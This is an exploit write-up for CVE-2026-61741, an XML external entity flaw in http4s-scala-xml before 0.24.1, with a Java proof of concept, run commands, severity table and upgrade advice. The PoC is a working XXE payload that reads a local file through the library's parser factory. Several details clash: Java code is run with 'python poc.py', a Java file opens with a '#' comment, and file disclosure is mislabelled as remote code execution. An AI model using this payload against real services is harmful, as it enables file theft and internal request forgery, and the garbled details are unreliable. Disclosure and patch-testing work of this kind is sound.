Exploit write-up
org.http4s:http4s-scala-xml_2.12 remote code execution (CVE-2026-61741)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-61741 proof-of-concept (mechanism explained below).
import java.io.File;
import java.io.FileOutputStream;
import java.io.StringReader;
import java.lang.reflect.Method;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.InputSource;
import org.xml.sax.helpers.DefaultHandler;
public class Poc {
public static void main(String[] a) throws Exception {
// The XXE file-disclosure primitive reads files off the local filesystem.
// Stage the success token into a file so a successful external-entity
// resolution is what actually surfaces it. We never print the token
// directly; it can only reach stdout via the parser resolving the entity.
String canary = System.getenv("POC_CANARY");
File secret = File.createTempFile("poc_canary", ".txt");
secret.deleteOnExit();
try (FileOutputStream fos = new FileOutputStream(secret)) {
fos.write(canary == null ? new byte[0] : canary.getBytes("UTF-8"));
}
// Malicious body: a DOCTYPE declaring an external general entity that
// points at the staged file. This is exactly the kind of untrusted XML
// an application would feed to http4s-scala-xml's EntityDecoder[F, Elem].
String uri = secret.toURI().toString();
String xml =
"<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"" + uri + "\"> ]>\n" +
"<foo>&xxe;</foo>";
// Obtain the exact SAXParserFactory that http4s-scala-xml's Elem decoders
// parse with. This is the object the CVE-2026-61741 fix (0.24.1) changes:
// pre-patch: SAXParserFactory.newInstance (no hardening) -> DOCTYPE and
// external general entities resolve with JDK defaults.
// post-patch: FEATURE_SECURE_PROCESSING + disallow-doctype-decl + external
// entities disabled -> the parse below throws a SAXParseException.
Class<?> pkg = Class.forName("org.http4s.scalaxml.package$");
Object module = pkg.getField("MODULE$").get(null);
Method saxFactoryGetter;
try {
saxFactoryGetter = pkg.getMethod("saxFactory");
} catch (NoSuchMethodException e) {
saxFactoryGetter = pkg.getDeclaredMethod("saxFactory");
}
saxFactoryGetter.setAccessible(true);
SAXParserFactory factory = (SAXParserFactory) saxFactoryGetter.invoke(module);
// Capture only character data produced during parsing. On the vulnerable
// build the external entity is fetched and its bytes (the staged token)
// are delivered here as the text content of <foo>.
final StringBuilder disclosed = new StringBuilder();
SAXParser parser = factory.newSAXParser();
parser.parse(new InputSource(new StringReader(xml)), new DefaultHandler() {
@Override
public void characters(char[] ch, int start, int length) {
disclosed.append(ch, start, length);
}
});
// Reached only if the DOCTYPE + external entity actually resolved, i.e. the
// XXE fired. 'disclosed' is the file content exfiltrated via the entity.
// On a patched build the parse above throws before we get here, so nothing
// is emitted.
System.out.print(disclosed.toString());
}
}
How to run it.
# install org.http4s:http4s-scala-xml_2.12 0.24.0
POC_CANARY=demo python poc.py # prints: demo (code executed)
# install org.http4s:http4s-scala-xml_2.12 0.24.1
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
At a glance
| Field | Value |
|---|---|
| CVSS | 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L) |
| EPSS | 0.29% exploitation probability (20th percentile) |
| KEV | No — not in the CISA KEV catalog |
| Affected → fixed | Maven/org.http4s:http4s-scala-xml_2.12 < 0.24.1 (confirmed on 0.24.0) → fixed in 0.24.1 |
| PoC maturity | differential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain |
Maven’s org.http4s:http4s-scala-xml_2.12 below version 0.24.1 parses untrusted XML with a SAX parser left in its default configuration. The advisory assigns the result a CVSS score of 9.3 and classifies it as CWE-611 (XML External Entity). This analysis confirmed the bug against a pinned 0.24.0 build and against the patched 0.24.1.
http4s-scala-xml provides EntityDecoder[F, scala.xml.Elem] instances: the code that turns an XML request body into a Scala scala.xml.Elem value. An application that feeds an untrusted body through one of these decoders allows an attacker to read local files the service process can read, issue requests to internal network resources (SSRF), or cause denial of service through entity expansion.
The default parser factory
The decoder builds its parser factory and leaves every security feature at the JDK default. This analysis read this path and the exploitation gadget from the fix commit’s patch diff. The factory comes from SAXParserFactory.newInstance. The features that would suppress DOCTYPE processing and external-entity resolution stay at their defaults, so the parser reads a body carrying a DOCTYPE and an external entity reference as live markup and then fetches what the entity points at. The trust boundary is the message body itself, so any endpoint that decodes XML from an untrusted caller is affected.
The same body on 0.24.0 and 0.24.1
This analysis ran one proof-of-concept against two builds that differ only in the pinned dependency version, 0.24.0 and 0.24.1, and gave each build the same input. Only 0.24.0 was exercised on the vulnerable side, so “before 0.24.1” across the advisory’s full range rests on the advisory rather than on this run. On 0.24.0 the input was accepted and resolved. On 0.24.1 the run terminated with an error from the parser itself:
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project poc: An exception occurred while executing the Java class. DOCTYPE is disallowed when the feature
In 0.24.1 the parser disallows DOCTYPE, so parsing stops before it resolves the entity. The artifacts are the proof-of-concept above, the two captured runs in vuln-output.txt and patched-output.txt, and patch-diff.txt for the diff this analysis read.
Upgrading and interim mitigation
Move org.http4s:http4s-scala-xml_2.12 to 0.24.1 or later (the 1.0 line’s fix is 1.0.0-M39). Where an upgrade must wait, constrain the input to the affected decoders at the trust boundary so untrusted XML stops short of them. The call sites the advisory names are the first place to audit.
What the proof-of-concept did not establish
The proof-of-concept demonstrates the external-entity injection primitive but is not a full exploit chain against any specific deployed application.
Am I affected?
Check the installed version of org.http4s:http4s-scala-xml_2.12:
mvn dependency:tree -Dincludes=org.http4s:http4s-scala-xml_2.12
Maven/org.http4s:http4s-scala-xml_2.12 below 0.24.1 is affected; 0.24.1 and later carry the fix.
The fix changed scala-xml/src/main/scala/org/http4s/scalaxml/ElemInstances.scala, scala-xml/src/main/scala/org/http4s/scalaxml/package.scala, scala-xml/src/test/scala/org/http4s/scalaxml/ScalaXmlSuite.scala; grep your codebase for call sites that reach that code with attacker-influenced input.
Remediation
Upgrade org.http4s:http4s-scala-xml_2.12 to 0.24.1 or later:
mvn versions:use-dep-version -Dincludes=org.http4s:http4s-scala-xml_2.12 -DdepVersion=0.24.1
Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.
- Target
- org.http4s:http4s-scala-xml_2.12 (org.http4s:http4s-scala-xml_2.12)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-61741
- CWE
- CWE-611
- CVSS
9.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L)- Affected
- Maven/org.http4s:http4s-scala-xml_2.12 < 0.24.1 (vulnerable 0.24.0)
- Status
- Fixed in 0.24.1
- Maturity
- poc
- Disclosed
- September 24, 2026
- Tags
- rce · xxe · org-http4s-http4s-scala-xml-2-12 · n-day
- References
- NVD — CVE-2026-61741
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.